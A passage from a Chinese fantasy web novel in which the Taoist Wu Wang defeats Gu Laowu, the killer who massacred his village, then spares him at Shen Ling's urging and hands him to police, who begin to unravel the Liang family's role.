“是，又如何？”吴妄微微眯起眼睛，伸出手，一把桃木剑浮现。
“哼，不自量力，你觉得你能做到吗？”
“能不能，总要试试看才知道了。”
吴妄话音刚落，他脚下瞬间张开了一张金色的八卦阵图，在八卦阵金光乍现的瞬间，他轻轻一跃，踩过桌子，跳出了窗外，抬起手，用桃木剑瞬间打出了一道剑气！
凛冽的剑气撕裂凝滞的空气，如银蛇般朝着黑夜中若隐若现的影子疾射而去，浓稠如墨的夜色里，吴妄瞳孔骤缩，看着自己全力一击在即将触及那道黑影的刹那，对方身形诡谲地扭曲，竟以一种违背常理的姿态，轻飘飘地避开了锋芒。
月光掠过那人玄色劲装的衣角，转瞬便隐入更深的黑暗之中。
还未等吴妄调整呼吸，耳畔突然传来尖锐的破空声，像死神的哨音！
寒意从后颈直窜天灵盖，他本能地侧身急闪，一枚淬着蓝光的暗器擦着肩头飞过，钉入身后的墙壁，溅起一串火星，空气中顿时弥漫开刺鼻的铁锈味，不知是暗器上的毒液，还是他渗出的血。
他回头看去，只见暗器被打掉后，插入了墙体，直接将坚硬的墙壁裂开了一道长长的裂痕。
那是……
一把飞刀！
225. 顾老五现身
吴妄在看到那把飞刀的时候，脸色瞬间阴沉了下来。
飞刀的尾部，系着一小段红绸。
他至死忘不了这把刀！
他的记忆，瞬间被拉回到了二十年前，吴家村惨案的现场……
那一年，腊月的寒风裹着雪粒子砸在窗棂上，年幼的吴妄缩在灶台边烤火，忽然被屋外传来的几声闷响惊得打了个哆嗦，接着，便听到有人在高呼——
【杀人啦！】
【杀人啦！】
他不安地扒着结满冰花的窗玻璃朝外望去，暮色中，隔壁佝偻着背的吴老头正跌跌撞撞朝自家方向奔逃，吴老头的破棉袄上沾着大片暗红，在雪地里拖出长长的血痕，老人枯瘦的手死死按着肚子，浑浊的眼睛里布满血丝，每跑一步都伴随着粗重的喘息，像是被恶鬼追着般狼狈。
【吴爷爷！】
吴妄刚要推开窗，就见老人突然僵在原地，喉间发出一声气若游丝的呜咽。
紧接着，他的身体如同被无形巨手攥住，猛地向前踉跄半步，随后，倒在了地上。
在他倒下后，吴妄看到，吴老头的后背赫然插着一把漆黑如墨的飞刀！那刀刃泛着冷冽的幽光，尾端缠着的红绸还在风中诡异地颤动，奄奄一息的老人颤抖着伸手去够飞刀，却只在雪地上划出三道凌乱的血痕，最终重重栽倒在冰碴子里，后脑勺磕在青石板上发出闷响，溅起的血珠瞬间凝成冰晶。
在吴老头身后，有许多村民在慌乱逃窜着，几个黑衣人跟在他们身后，手持长刀砍杀。
手无寸铁的村民，就这么被一一屠戮。
原本是祥和安宁的世外桃源，在那一夜，就像是人间炼狱。
他趴在窗户上，看着自己认识的人一个个倒下，那些曾经对自己照顾有加的长辈，那些和自己玩耍长大的小伙伴们，无一幸免！
他始终记得那一幕，记得那些人冷漠的眼神，记得那把……系着红绸的尖刀！
吴妄低下头，黑暗之中，他反而露出了一个诡异的微笑。
“终于，让我找到你了啊……”
他的声音低沉，凝结着化不开的杀意。
风，卷起他的衣袖，他用真气让自己悬浮在半空，而脚下张开着金色的八卦阵，越来越汹涌的气旋在他身周盘旋，手中的桃木剑上，金色的纹路若隐若现。
“哦？你认得我？”对方似乎没有意识到吴妄气场的改变，只是好奇地看着吴妄，“你这毛头小子能躲过我的飞刀，也算是有些本事，算了，我不杀你，你让开，我办完我要办的事情就走，没时间跟你在这里瞎耗。”
“哈哈……”吴妄轻笑了一声，嘴角的弧度更深了几分，“二十年了，我找你们找了二十年了。”
“嗯？”
“这二十年里，我日夜担心，担心你会不会死了，会不会逃了，如果那样，我就没办法手刃仇人了，哈哈哈，太好了，真好啊，在我有生之年，我终于找到你们这些混蛋了，哈哈哈，真是苍天有眼……”
“你这毛小子，你是不是疯了？”对方不解地看着吴妄，丝毫不知道吴妄那些莫名其妙的话背后有什么含义。
但他能感觉到，吴妄周围的气场在逐渐变强，他的真气凝结成的气旋，围绕在他的身周，这样的气流越来越强，让四周草木都随之摇曳。
他微微眯起眼睛，从袖子里掏出一把飞刀。
“这小子不对劲，算了，反正杀一个也是杀，杀一双也是杀，今天遇到我顾老五，算你命不好。”
他喃喃着，手中的飞刀一闪，两把飞刀一前一后地朝着吴妄飞去！
“？！”
吴妄猛地抬起头，那双眼睛闪烁着寒意！
他旋身躲过了这第一记飞刀，桃木剑划出半轮银弧，剑身上朱砂绘制的符咒骤然亮起，伴随着“嗡”的一声清鸣，一道金光从剑尖迸发！
第二把飞镖与金光相撞，“砰”的爆发出刺耳的炸响，火星四溅，第二把飞刀也被他打开了！
他身体往前落在了屋顶上，和顾老五只有几步之遥。
“哦？可真是后生可畏啊，行，既然你自己找死，老夫就成全你！”顾老五狞笑一声，双掌连拍，十八枚飞刀暴雨般倾泻而下，每一枚都带着刺耳的尖啸，仿佛无数厉鬼在耳边嘶鸣，“嗖嗖嗖”的破空声连成一片。
吴妄脚踏八卦步，桃木剑舞成密不透风的剑幕，铜钱串相互撞击，发出清脆“叮当”声，与飞镖碰撞声“铿锵”交织成诡异的战歌，那十八枚飞刀虽然锋利，却难以割开他的剑幕。
只见吴妄突然猛地一挥桃木剑，只见一道凌厉的剑气如闪电般疾驰而出，瞬间将身周所有的飞刀都打开了，失去了法力支撑的飞刀如同断了线的风筝一般，纷纷扬扬地插入了身下的屋顶，宛如一片遍布荆棘的草丛。
“受死！”
突然，吴妄猛地跃起，剑尖直指顾老五眉心，符咒光芒大盛，剑势带着雷霆万钧之力。
顾老五侧身避开，反手甩出一串锁链飞镖，锁链在空中“哗啦”划出诡异的弧线，缠住了吴妄的剑身。
“给我下来！”顾老五暴喝，他猛地拉扯锁链。
吴妄却不慌不忙，咬破指尖，将鲜血滴在桃木剑上，大喝：“血祭！”
剑身顿时爆发出耀眼红光，伴随着一声震耳欲聋的“轰”响，锁链飞镖被震得粉碎。
“什、什么？这是……青城山的剑法？你、你到底是谁？”顾老五瞳孔骤缩，连连后退，脚下瓦片“咔嚓”碎裂.
却见吴妄凌空踏步，剑指苍穹：“北斗天罡，万邪辟易！”
天空中北斗七星光芒大盛，七道星光化作光柱射向吴妄手中的桃木剑，“呼呼”的风声愈发猛烈，似有万千神明在云端低语。
顾老五脸色大变，急忙掏出一把黑色符纸，口中念念有词，符纸化作无数黑蝶扑向吴妄，“簌簌”的振翅声令人毛骨悚然。
吴妄挥剑斩出，每一道剑光都带着星光，黑蝶纷纷消散，化作缕缕黑烟，伴随着“嗤嗤”的腐蚀声响。
顾老五见势不妙，转身欲逃.
吴妄岂会让他得逞，掐诀念咒：“风伯雷公，助我神威！”
霎时间狂风骤起，“呜呜”的
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呼啸声中，乌云密布，雷电在云层中翻滚，发出低沉的“轰隆”雷鸣。
一道霹雳从天而降，“咔嚓”劈向顾老五，顾老五慌乱中甩出最后一把飞刀，却被雷电击成齑粉，“噼里啪啦”的炸裂声此起彼伏。
吴妄趁势追击，桃木剑如游龙出海，剑刃划破空气发出“咻”的锐响，直取顾老五后心！
二十多年的怒气，在这一刻达到了顶峰，他看着仓皇逃窜的顾老五的背影，便想到了当初自己族人也是这样哀嚎着死去。
新仇旧恨，加在一起，让吴妄杀红了眼。
此刻，他就像是疯魔了的野兽一样，势必要顾老五血债血偿！
顾老五仓促转身，双掌拍出，两股掌风相撞，发出“嘭”的闷响，却被吴妄剑上的金光震得气血翻涌。
吴妄剑势不停，剑尖点在顾老五胸口，符咒之力爆发，“轰”的一声巨响，顾老五惨叫一声，倒飞出去，重重摔在屋顶上，他口吐鲜血，动弹不得。
“好、好汉，剑下留人……我和你往日无冤、今日无仇，没必要杀我。”
吴妄微微眯起眼睛，那双眼睛藏着杀意：“现在你知道求饶了？当初我的族人被你们屠杀的时候，怎么不见你们放过他？”
听到这里，顾老五像是明白了什么。
“你……你是吴家村的后人？”
吴妄没有说话，但这沉默，却也是一种肯定。
顾老五恍惚了一下，这才想起了当时在树林里，自己追踪一对母女时，虽然最后杀死了母亲，但那孩子确实没有找到，为此，自己还被雇主责骂了一通，虽然最后穷尽办法想找到那个孩子的下落，但那孩子却如同人间蒸发了一样，渺无音讯，他们只能认为是那孩子惊慌失措之中跌下山崖而死。
没想到，二十年后，这孩子再一次出现在了自己面前。
眼中带着恨意，要为自己的族人报仇！
“哈哈哈，天意，天意啊……”顾老五抬起头，无奈地看着满天星辰，眼中带着对命运的释然，“我知道，我做这一行，是不会有好下场的，果然，果然。”
“我问你！当初为什么要带人屠村？！我们吴家村世代与世无争，何故遭此横祸？！”吴妄手持桃木剑，用木剑的尖端抵着顾老五的胸膛。
这把剑，虽然是木剑，但上面染了血，剑气锋芒无比，可将世间一切割裂。
此刻，那汹涌的剑气直逼顾老五的命门，他迫于无奈，只得承认了一切。
“是，当时有人雇了我们兄弟，要屠杀吴家村，为的就是找到藏在吴家村的轩辕氏稀血。估计你也知道，轩辕氏稀血对修为提升大补，当时，雇主告诉我，身怀轩辕氏稀血的是一个小男孩，那个小男孩藏在吴家村，并且身上有一个月牙形的胎记，此去吴家村，其他人都可杀尽，只有那个小男孩，必须留下。”
“什么？你是说，吴家村的其他人，都是被连累而死的？”
顾老五冷冷地看着吴妄，沉声说道：“是，为了不让这件事情走漏风声，除了那个小男孩，其他人，一概不能留，屠村，就是最简单的办法。”
226. 清醒
听到这里，吴妄怒不可遏，吴妄握剑的指节因用力而泛白，桃木剑上的铜钱串“哗啦哗啦”震颤不休，仿佛也在替他发出无声的怒吼。
“那些是一条条人命啊！在你看来就这么低贱吗？！”
他眼中满是怒意，手持桃木剑，恨不得将眼前的顾老五戳出几个透明窟窿来。
这时，顾老五突然觉得眼前这位少年，眉眼似乎有些熟悉。
“你……我是不是在梁家祖宅见过你？”
他似乎在哪里见过吴妄。
“是。”吴妄扬起下巴，居高临下地看着他，“那天，我假装是侍者，给你端茶倒水，没想到，那时候坐在我面前的人，居然就是屠杀吴家村的人！”
顾老五冷冷一笑。
他想起来了，几天前，在梁家祖宅里，的确有一个面容清秀的小伙子给自己上了一壶茶水，当时自己还在疑惑，为什么在梁家祖宅住了这么久，都没有见过这个小伙子，但看着对方穿着侍从的衣服，自己也懒得多问。
这么看来，对方的出现，不是偶然，而是早有预谋。
“原来如此，毛小子，原来，你是一只鬣狗啊，估计早就盯上我，盯上梁家了吧？这二十年，也不好过吧？一直想找到当时屠杀吴家村的人，但是却一直无从查起，你应该很焦虑吧，这二十年。”
顾老五倚着斑驳的屋顶，把玩淬毒飞镖的动作漫不经心，嘴角勾起的弧度像是在看一场闹剧。
“不过，你现在又能做什么呢？你就算杀了我，吴家村的那些人，也没办法复活了，你想要为他们报仇？但是你所谓的‘报仇’，真的有意义吗？这二十年，你才是那个被仇恨圈禁的人啊。”
这番轻慢的姿态，如同一把尖锐的匕首，狠狠扎进吴妄心底。
“你满手献血，居然还敢大言不惭……”
“那些不过是些碍事的蝼蚁。”顾老五的嗤笑混着浓重的血腥气，在冷空气中凝成霜花，“要成大事，总得有人铺路，有人出了高价，自然就有人愿意接活，我不过是拿人钱财、替人消灾罢了。”
话音未落，吴妄脚下瓦片“咔嚓”迸裂，桃木剑裹挟着凌厉的劲风，剑尖直指顾老五咽喉，剑身上朱砂符咒在怒意催动下红光暴涨，铜钱串相互撞击，发出急促的“叮当”声，恰似他狂乱的心跳。
“人命岂容亵渎！”吴妄的怒吼震得檐角铜铃“叮铃哐啷”作响。
他脑海中闪过那些无辜者的面容——蜷缩在血泊里的稚童，睁着空洞双眼的妇人，还有老人咽气前仍紧攥着半块馒头的手……
这些画面如走马灯般循环播放，化作熊熊燃烧的怒火，顺着血脉直冲头顶！
“受死！”
吴妄的剑势再提三分，剑气所过之处，空气中竟隐隐泛起道道赤红涟漪。
顾老五瞳孔骤缩，一直藏在袖子里的三把飞刀脱手而出！
金属破空的“咻咻”声与桃木剑的清鸣轰然相撞，火星迸溅在吴妄眼角，烫出细密血珠，若不是他反应够快，早已经被顾老五暗算了！
吴妄退开了几步，咬牙切齿道：“你这种人，根本不配活在这世间！”
手腕翻转间，剑走偏锋，一道剑气划过，顾老五忙往旁边躲闪，他虽然反应够快，但那剑气依旧在顾老五脸颊划出细长血痕，鲜血滴落在瓦片上，淡淡的血腥味充斥着鼻腔。
“臭小子！你就去地下陪你的那些亲人去吧！”
说时迟那时快，顾老五说着话音刚落，便掷出了几把飞刀！
月光穿过云层的刹那，吴妄周身腾起氤氲金光，北斗七星的虚影在他背后若隐若现，桃木剑突然发出龙吟般的嗡鸣，剑尖符咒化作流转的火焰，打开了那飞来的暗器！
他身形一闪，已经如同鬼魅一般瞬移到了顾老五身边，长剑落下的瞬间，“啪”地烧断顾老五腰间的暗器皮囊！
散落的飞镖叮叮当当滚了一地，与顾老五急促的喘息声、狂乱的心跳声，共同编织成一曲愤怒的战歌。
“你……你……”
此刻的吴妄，眼中燃烧着不灭的怒火，恨不得将眼前这个漠视生命的恶魔，彻底从世间抹去。
他缓缓举起桃木剑，如同一个行刑的刽子手，将那汹涌的剑气，对准了顾老五。
“我问你，是谁，指使你们屠村的？”
“哼，你杀了我吧，杀了我也不会说的，江湖规矩，我们这样的人，就是死士，一旦事情败露，便要以死谢罪，出卖雇主的事情，我是不会做的！”
顾老五自知打不过吴妄，别开了眼睛，一副生死看淡的表情，等待属于自己的制裁。
吴妄咬着牙，沉声问到：“我最后问你一遍，你说不说？”
眼前这个男人，是杀了自己满村的人，甚至，是杀了自己父母的人，他怎能不恨？！
但他不能就这样杀了他，他必须问出顾老五背后的人，那背后贪图轩辕氏稀血的人，才是罪该万死的存在！
他绝不会放过他们！
“……”
顾老五没有说话，只是一闭上了眼睛，一副引颈就死的样子。
他是真的不怕死。
或许从干这一行开始，他就已经知道自己会有这样的下场。
这样的结果，也是因果报应。
“……你杀了我吧，小子，我杀了你们全村，你现在要杀我，无可厚非，但是我是不会告诉你雇主的信息的，你死心吧。”
看着顾老五这一心求死的样子，吴妄怒火中烧！
他紧紧握住手中的桃木剑，仿佛这把剑是他生命的一部分，他的手指因为过度用力而微微发白，剑柄上的木纹清晰可见，仿佛在诉说着这把剑的古老和神秘。
随着他的握紧，一股强大的剑气从桃木剑中涌出，如同汹涌的海浪一般，瞬间将他和他身边的人都包裹在其中。
这剑气如同卷起的风浪，气势磅礴，让人感受到一种无法抵挡的力量。
那剑气所过之处，空气都似乎被撕裂开来，发出阵阵呼啸声，周围的草木被这股强大的力量吹得东倒西歪，仿佛在狂风中苦苦挣扎，顾老五的衣袖被这剑气撕破，他的脸颊也被风浪划出了一道道血痕，但他微微眯起的眼里，却没有任何恐惧，只有对生死的看透。
看样子，他是绝对不会说了。
他们这伙人，总还有活着的人。
他一旦供出了雇主，就会遭到雇主的追杀。
为了那些活着的人，他也必
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然不会这么做。
“好，既然你一心求死，我就成全你……”
吴妄缓缓举起了手中的桃木剑，此刻，他就像是持剑的行刑手，眼中满是杀气。
“吴妄！不要——”
一个熟悉的声音打断了他。
吴妄动作一顿，下意识地往后看去，只见沈聆不知道什么时候已经醒来，她站在窗户前，紧张地看着自己和顾老五，那双水汪汪的眼睛里满是惊恐和不安。
在看到那双眼眸的时候，吴妄心软了。
原先充斥着杀意的眼神，也柔和了几分。
“沈聆……”
“吴妄！不要杀人！不能杀人！你是青城山的道士，你修炼的是求真之术，一旦手染鲜血，你必然不为青城山所接受！”
沈聆焦急地看着吴妄，只恨自己不能长出翅膀飞到二人身边，只能在原地干着急。
“吴妄！你的桃木剑斩妖除魔，不是用来杀人的，不要让它成为杀人的邪剑啊！！”
吴妄沉默着，不置可否。
顾老五倒是一笑：“这小妮子倒是挺有意思，她身上那个光是什么？难道是……灵元草？”
吴妄没有理会顾老五，但周围剑气却逐渐减小了几分，暴露了他心中所想。
隔着一段距离，沈聆听不见顾老五的声音，她只是挥舞着手机，大喊：“我已经给林凌打电话了，警察马上到，我们把他交给警察，一定可以调查出他背后的人，你相信我，想报仇，不一定要杀人，真的——”
“你们要把我交给警察？”顾老五一挑眉，哈哈大笑，“这孩子怎么这么天真？以为把我交给警察，我就会说？别痴心妄想了！你叫吴妄是吧？我告诉你，如果要报仇，就趁现在！把我交给警方，我可不一定会死，你唯一的报仇机会，可就没了。”
吴妄转过头，脸色阴沉到了极点。
他难以置信地看着顾老五，不明白他是怎样的心态才会说出这么一番话。
“你的意思，是让我杀了你？”
“不错，小子，我杀了你们全村，是我对不起你，我现在给你一个机会，要杀我，就趁现在，否则，你会后悔一辈子。”
顾老五那带着嘲讽的眼神，让吴妄怒火中烧。
“别以为你能打得过我，是我老了，小子，换做年轻时候的我，你这样的毛头小子，我一个人可以打三个！你等着我，十八年后，我必然再来寻仇！”
“你……”
“吴妄！！不要杀人！我求求你，不要杀人！！”
沈聆那焦急万分的声音从吴妄身后传来，这声音如同寒冰一般，瞬间浇灭了他心头熊熊燃烧的怒火。
吴妄的身体猛地一震，他缓缓转过身去，目光落在了沈聆的身上，沈聆的脸色苍白那双眼睛满是担忧。
吴妄沉默了许久，他的喉咙像是被什么东西堵住了一样，发不出一丝声音，他只是转过头、死死地盯着顾老五，那原本充满愤怒的眼神，此刻却逐渐变得平静下来。
一直到听到了远处传来的警笛声，他才默默收起了桃木剑。
“我不杀你，沈聆说得对，我师傅教我的，是斩妖除魔之道，不是杀人之术，我和你，不是一类人。”
227. 悬崖勒马
“林警官，顾老五的事情，牵涉到了当年吴家村灭村一案，我希望警方能够帮我们调查清楚事情的真相。”
沈聆站在警车前，警车红色蓝色的交替的光略微照亮了她的秀气的侧脸。
林凌站在他面前，身后的警车里，坐着已经被铐上手铐的顾老五。
他表情严肃，出神地看着前方，似乎在思考着什么。
林凌看了看坐在警车里的顾老五，复又看向了沈聆：“放心吧，吴家村不在陵川市，但是当年吴家村一夜之间全村被杀的事情震惊全国，我会向上级汇报，反馈我们找到了屠村嫌疑人，申请跨市区调查这个案子，如果顾老五真的和吴家村屠村惨案有关，我们一定不会放过他们。”
林凌义正言辞地说着，沈聆知道林凌的为人，嫉恶如仇，况且吴家村的案子的确是惊天大案，到现在还没有破案，当地警方的压力也很大，这时候有任何其他地方反馈的有价值的线索，他们都会认真追查，还群众一个交代。
“好。”
“道长那边……”
“你放心吧，林警官，我会好好劝他的。”
“嗯，好，虽然我不知道你们是用什么办法查到顾老五的，但是我刚才看到道长的情绪好像不是很好，希望你多陪陪他。”
“道长本身也是吴家村的后人，当年他是亲眼看着这些事情发生的，二十多年都没有放下，也是个可怜人……”沈聆叹了口气，惋惜地说，“这些事情，就像是梦魇一样困着他，他在陵川一中寻找人鱼镜，就是为了追查当年吴家村灭门的真相。”
“这么说……上次你让我查的那个地图……”
“对，就是在人鱼镜里出现的，人鱼镜的回答是正确的，它指引到了梁家祖宅，而当时，顾老五的确就住在梁家祖宅里，吴妄也顺藤摸瓜，找到了他，只是没想到，他这次主动现身。”
听到这里，坐在车里的顾老五微微回过头，似乎有话要说。
林凌和沈聆对视了一眼，林凌打开了车门。
“你有什么话说？”
“哼，小妮子，我告诉你，是你害得我儿子和孙子坐牢的，我不会这么轻易就放过你，就算我进去了，外面还有我的兄弟，他们不会放过你的！”
顾老五的脸上露出了狰狞的表情，他的嘴角微微上扬，透露出一股令人不寒而栗的恶意，他的眼睛紧紧地盯着对方，那是一双如同狼一般的眼睛，冷酷而锐利，仿佛能够穿透人的灵魂。
这双眼睛里没有丝毫的怜悯和仁慈，只有无尽的杀意和愤怒。
它们像是燃烧的火焰，又像是寒冷的冰霜，让人无法直视。
当他的目光与对方交汇时，仿佛整个世界都在这一刻凝固了，只剩下那股令人胆寒的杀意。
他明明是被抓的那一个，却没有任何恐惧之情。
沈聆听着对方的话，倒是明白了其中的原委：“……原来如此，你的儿子，是顾六壬？你的孙子，是顾健？”
“明知故问！”
“原来如此，你今晚出现在这里，是想报仇的。”
“我告诉你，这件事情不会就这么了结！”
“嗯，我想也是……你背后应该是梁家吧？是他们让你来杀我的吗？”沈聆平静地看着顾老五。
“我听不懂你在说什么。”顾老五别开眼。
“不用不承认，这些事情我们早晚会查清楚的，包括世纪大酒店和梁氏集团的关系，警方一定会查个水落石出，你们这样的人，一定会被送进监狱的。”沈聆低下头，凑近了看着顾老五，“所以，你还是好好呼吸最后一口外界的空气吧，接下来，你的人生，可都要在牢里度过了。”
说完，她用力地甩上了车门。
顾老五怒瞪着车外的沈聆，但沈聆却没有任何害怕，同样直视着他，两人就这么隔着车窗，互相憎恶着彼此。
“林警官，麻烦你了。”
“放心吧，为民除害是我们警方的责任，我们一定会尽全力还吴家村村民一个真相的。”
“好。”
……
看着警车逐渐远去，沈聆这才松了口气。
还好。
刚才只差那么一点点，吴妄的剑气，就杀了顾老五。
他能在生死关头还保持冷静，确实很不容易。
更何况，对方是杀了他全家、全村的人，这样的血海深仇，是永世不忘的。
沈聆转身往自家走去，几个被警笛吵醒的群众好奇地从自家窗户探出头，看着小区中庭，他们议论纷纷，但也不知道今晚为什么一向风平浪静的小区会有警车出现，不过看见警车已经离去，想必事情已经解决，看热闹的群众也各自散去。
“咔嚓。”
打开家门时，沈聆一眼便看到了盘腿坐在地上的吴妄。
他似乎正在打坐，但却低着头，用手扶着额头，似乎在思考着什么，又好像，在悔恨着什么。
沈聆轻轻关上了房门，走到吴妄身边。
他像是没有察觉到她的出现，一直到她出声呼唤他，才回过神来。
“道长？”
“……你回来了。”
“嗯，林凌已经走了。”
“顾老五呢？”
“被带走了。”
“哦。”
沈聆蹲下身，耐心地看着吴妄，用哄小孩的语气说道：“放心吧，林凌说，吴家村的案子当年轰动全国，带来了很恶劣的影响，这二十多年，当地警方一直没有破案，他们的压力也很大，上面很重视这个案子，现在发现了新的线索，他们一定会高度重视，重启调查程序的。”
“……你怎么知道梁家不会救他呢？毕竟当年是他们指使他做这些事情的，为了不被供出来，他们或许会动用自己的关系网，把他捞出来。”
吴妄放下撑着额头的手，叹了口气。
他的语气中带着几分懊悔，似乎在后悔自己不应该这么冲动地将顾老五交出去，至少，留在自己手上，还能亲手除掉这个仇人。
“……吴妄，这个世界上，并不是什么事情都能动用关系做到的，是，
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梁家是很有钱，但是这个案子太大了，甚至都已经上升到了特办级别的，我想，梁家就算是有再大的关系，也不会把这件事情按下来的，而且，你不觉得奇怪吗？为什么顾老五今天会出现在这里？”
“你的意思是……”
“顾老五要为了孩子报仇，来杀我，这无可厚非，但是梁家的任何一个人，都不是冲动鲁莽的人，他们为什么会放任顾老五来杀我？是他们没看住顾老五吗？不可能，顾老五一直住在梁家祖宅，梁家的人这么多，他们不可能连一个顾老五都看不住。”
“他们是故意的？”吴妄微微皱起眉头。
“嗯。”沈聆点了点头，“我想，在顾六壬的事情曝光之后，梁家就开始想要撇清和顾家所有的关系，而顾六壬和顾健已经落网，世纪大酒店的烂账他们也已经用假账撇清了，唯一剩下的，就只有顾老五了。”
沈聆的声音很轻，像是棋子落在棋盘上一般，落在吴妄心里。
“我想，如果我是梁家的人，这个时候反而巴不得顾老五出事，特别是……死于私斗，这样，当年吴家村屠村的真相就会永远被蒙蔽。”
“但是他们并不知道我今天会出现在这里，万一我今天不在，又如何？”
“这重要吗？”沈聆看着吴妄，“如果你今天不在，顾老五杀了我，你们不会帮我报仇吗？这对你来说，顾老五就已经暴露了，你会查到顾老五身上，随后查到顾老五当年做的那些丑事，最后出于报仇，杀了他，梁家这是在借刀杀人，你就是梁家选中的刀。”
听到这里，吴妄的眼神震动了一下。
他这才意识到，自己差点就掉入了敌人的圈套里。
对方只是抛出了一个诱饵，而自己差点就咬中了这个诱饵，成为落入圈套的羔羊。
躲在背后的梁家，什么都不用做，只需要看着顾老五和吴妄相杀，他们便坐享渔翁之利，无论哪一方死掉，都是他们乐于见到的结果，甚至在过程中，还能顺手除掉一个沈聆，一举三得。
“……好阴险的一招。”
吴妄握紧拳头，一拳打在地上。
沈聆心疼地看着吴妄，叹了口气：“还好，你刚才没有真的杀了顾老五，虽然我不了解青城山的门规，但是我感觉，你们学道之人，应该是不能杀人的。”
“……嗯，我修习的是辟邪除妖的奇门遁甲之术，一旦染上他人生命，体内的真气便极容易走火入魔，成为煞气，轻则疯癫无状，重则被反噬身亡。”
说到这里，吴妄抬起头看向了沈聆。
“谢谢你。刚才如果不是你及时制止了我，我估计已经……”
话音未落，沈聆抬起手，轻轻挡在了吴妄的唇畔。
她微微一笑，摇了摇头。
“没事，都过去了，道长是慈悲之人，像你这样的好人，是不会杀人的。”
她的笑容明媚，就像是那三月沐浴在阳光下的花朵，不经意间，开进了吴妄的心田。
他看着近在咫尺的沈聆，没有说话，只是眼眸深邃了几分。
228. 离间计
“怎么了？这么看着我？”
沈聆被吴妄看得有些不好意思，往后退了退，拉开了一点距离。
“还痛吗？”
“嗯？”
“我刚才打晕你了，对不起。”吴妄愧疚地看着沈聆。
“哈哈哈，那个啊，没事儿啦，就是突然眼前一黑，就什么都不知道了。”沈聆挠了挠头，“等我醒来的时候，就看到对面屋顶上你们俩在打，好家伙，金光乍现的，我当时还以为你们要被其他人看到了，我还挺担心的，要是被其他邻居看到了，拍下来发到抖音上怎么办。”
“抖音……是什么？”
“额，就是一种小视频软件，可以用手机上的这个软件看到别人发的视频，也可以自己拍视频发到网上，现在有很多专门做这块的博主，用这个吸引流量，赚钱。”
“这样……”吴妄似懂非懂地点了点头。
在这一块，他像是与世隔绝的人，完全不清楚现在有什么数码软件，连手机也不会使用。
不过，看着吴妄有些懵逼的样子，沈聆倒觉得颇为可爱。
她眨了眨眼睛，俏皮地说道：“对呀，而且我跟你说啊，现在有很多臭男人，会用抖音看擦边视频，你以后可不要变成那种人。”
吴妄继续懵逼：“什么是……擦边视频？”
“额，就是一个女的在镜头前扭来扭去的，做一些比较性感的动作，吸引眼球。”
“……你放心。”
吴妄语意不明地说了这三个字，便扭头不看她了。
“嗯？”
吴妄被看得有些不自然，扯开了话题：“对、对了，你为什么会知道那个男的，叫顾老五。”
“这个嘛……你还记得秦琴的幻境吗？”
“记得。”
“当时我们同在秦琴的幻境里，我先出了幻境，随后灵元草带我进入了你的幻境，在你的幻境里，我看到你和你的母亲，被那些人追杀的画面，或许你自己都没有意识到，其中为首的那个男人，就被称为‘顾老五’。”
“……”
“可能当时你太过年幼，所以不记得这些细节，但是你的潜意识记住了这些，并投射到了你的幻境里，以另一种形式展现在你的面前。”
沈聆说着，伸出手，轻轻握住了吴妄的手。
“道长，我知道你很难放下当年的事情，但是，如果一直用过去的事情困住自己，你也会活得很痛苦的，报仇，一定是要的，但是在报仇的过程中，我希望你也能放过自己，不要活在那种愧疚之中，当年，你也只是小孩，你救不了任何人，这不怪你的。”
沈聆的声音如同羽毛一般轻柔，仿佛微风拂过琴弦，发出的微弱颤音，然而，这看似微不足道的声音，却像一把利剑，刺破了吴妄心中那道被深埋多年的伤口。
吴妄低下头，仿佛要将自己的脸深埋进黑暗中。
他的沉默如同沉重的铅块，压得人喘不过气来。
在这寂静的时刻里，时间似乎都凝固了，只有沈聆的那句话在空气中回荡，不断撞击着吴妄的心房。
沈聆是对的。
这几年，他一直活在对亲人、对村民的愧疚之中。
作为吴家村唯一活下来的人，他曾经在梦境中无数次想回到过去，回到那个血雨腥风的晚上，他曾一遍遍设想，如果自己能先报警，如果自己能早一点唤醒其他村民，或许就不会全村覆灭，如果自己当年再强大一点就好了……
但这一切，也只是“如果”罢了。
无论在梦境中重复多少次，都只是“如果”罢了。
现实已经无法改写。
历史的进程总是往前的。
他们都没办法回到过去，改变过去的选择。
能做的，只有按照时间的方向，一点一点走下去。
吴妄的沉默，印证了沈聆的猜想。
她知道，自己永远无法感同身受他的体会，但现在，自己能做的，便是陪着他一起度过。
“放心吧，我会在你身边的。”
“……可以吗？”
“可以的。”
“谢谢。”
……
此去陵川市公安局的警车上，坐在前面开车的林凌，微微抬起头，看向了坐在后排的顾老五。
“……你就是顾老五？顾六壬的爹？”
“哼，我不是六壬的爹，难道是你的爹？你想要我还不乐意。”
“嘴还挺硬，看得出来，你是一个硬汉。”
“那又如何？”
“是你吧，杀了吴家村这么多口人，这么多年了，一直逍遥法外，现在也是你伏法的时候了。”
“哼，老夫运气不好，正要收拾那个小妮子的时候，半路闯出来一个毛头小子，要不是老夫轻敌，早就连他俩一块儿收拾了！还由得到你在这里冷嘲热讽？”
顾老五不屑地看向了车窗外。
车窗外一闪而过的街景，那霓虹灯交织而成的画面，绚烂了他的视线，但却隔着一层车窗，像是永远无法触及的自由。
“我比较好奇的是，为什么你藏了二十多年，现在却跑出来了？你不怕被抓吗？”
“怕？开玩笑，我顾老五的人生字典里，就没有‘怕’这个字，我现在后悔的是没有趁早下手杀了那个小妮子！要不是她从中作梗，我儿子的酒店不会出事！”
“事到如今还不知悔改，你知不知道，你儿子顾六壬的酒店，做的尽是违法的勾当，黄赌毒，是一个不落，就算没有顾倩倩的事情，早晚有一天也会被揭穿！天网恢恢，疏而不漏！”
“顾倩倩？哼，那也是一个搔首弄姿的小贱人！这件事情在我们顾家看来，都不算什么，都是那个小妮子，把事情闹大了，这才没办法收场！”
“没办法收场？你知不知道，为什么之前都能收场，现在没办法收场了？”
前方路口是红灯，林凌停下了警车。
他抬起头，看向了后视镜。
“梁家，早就不打算保你们了。”
顾老五没有说什么，但却狐疑地眯起了眼睛。
林凌知道，他听进去了。
“在世纪大酒店和顾六壬出事之后，梁氏集团紧急发布律师声明，证明本集团和世纪大酒店的那些
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事情完全没有关系，世纪大酒店只是承包给了顾家经营，梁氏集团每月按规定收取费用，他们是撇得一干二净，但却把所有的脏水都往你儿子身上泼。”
“什么？”
顾老五坐直了身子，难以置信地看着林凌。
“我告诉你，小伙子，你不要在这里危言耸听！”
